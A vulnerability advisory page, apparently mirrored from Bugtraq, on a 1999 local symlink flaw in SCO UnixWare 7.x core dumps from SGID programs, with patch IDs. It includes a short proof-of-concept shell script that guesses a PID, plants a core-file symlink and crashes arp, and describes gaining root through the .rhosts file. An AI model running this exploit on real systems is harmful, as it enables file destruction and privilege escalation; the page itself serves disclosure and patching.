SCO UnixWare 'coredump' Symlink Vulnerability

BID:851

Info

SCO UnixWare 'coredump' Symlink Vulnerability

Bugtraq ID: 851
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Dec 03 1999 12:00AM
Updated: Dec 03 1999 12:00AM
Credit: This vulnerability was posted to the Bugtraq mailing list by Brock Tellier on Thursday, 2 Dec 1999.
Vulnerable: SCO Unixware 7.1.1
SCO Unixware 7.1
SCO Unixware 7.0.1
SCO Unixware 7.0
Not Vulnerable:

Discussion

SCO UnixWare 'coredump' Symlink Vulnerability

Under certain versions of SCO UnixWare if a user can force a program with SGID (Set Group ID) to dump core they may launch a symlink attack by guessing the PID (Process ID) of the SGID process which they are calling. This is required because the coredump file will be dumped to the directory in which it is being executed from as './core.pid'. The program dumping core does not check for the existence of a symlinked file and will happily overwrite any file which it has permission to do so to. Many SGID binaries under Unixware are in the group 'sgid-sys' a group which has write permission to a large number of system critical files.

This attack will most likely result in a denial of service attack, however if the attacker can provide some provide data to the core file she may be able to leverage root access. For example is the intruder were able to get '+ +' into a line of it's own in the core file the intruder could then overwrite root's .rhosts file.

Exploit / POC

SCO UnixWare 'coredump' Symlink Vulnerability

#!/bin/sh
####
# Exploit for UnixWare 7.1 - sgid coredumps follow symlinks.
# Guessing pid is trivial. Any sgid program which will coredump can be used
# -Brock Tellier, [email protected]
####
pid=`expr $$ + 4`;
ln -s /path/to/sys/group/writable/file core.$pid
/usr/sbin/arp `perl -e "print 'A' x 10000"`

Solution / Fix

SCO UnixWare 'coredump' Symlink Vulnerability

Solution:
There are patches available at the following location:

http://www.sco.com/security
Patch IDs:

ptf7096l
ptf7016l

References

SCO UnixWare 'coredump' Symlink Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report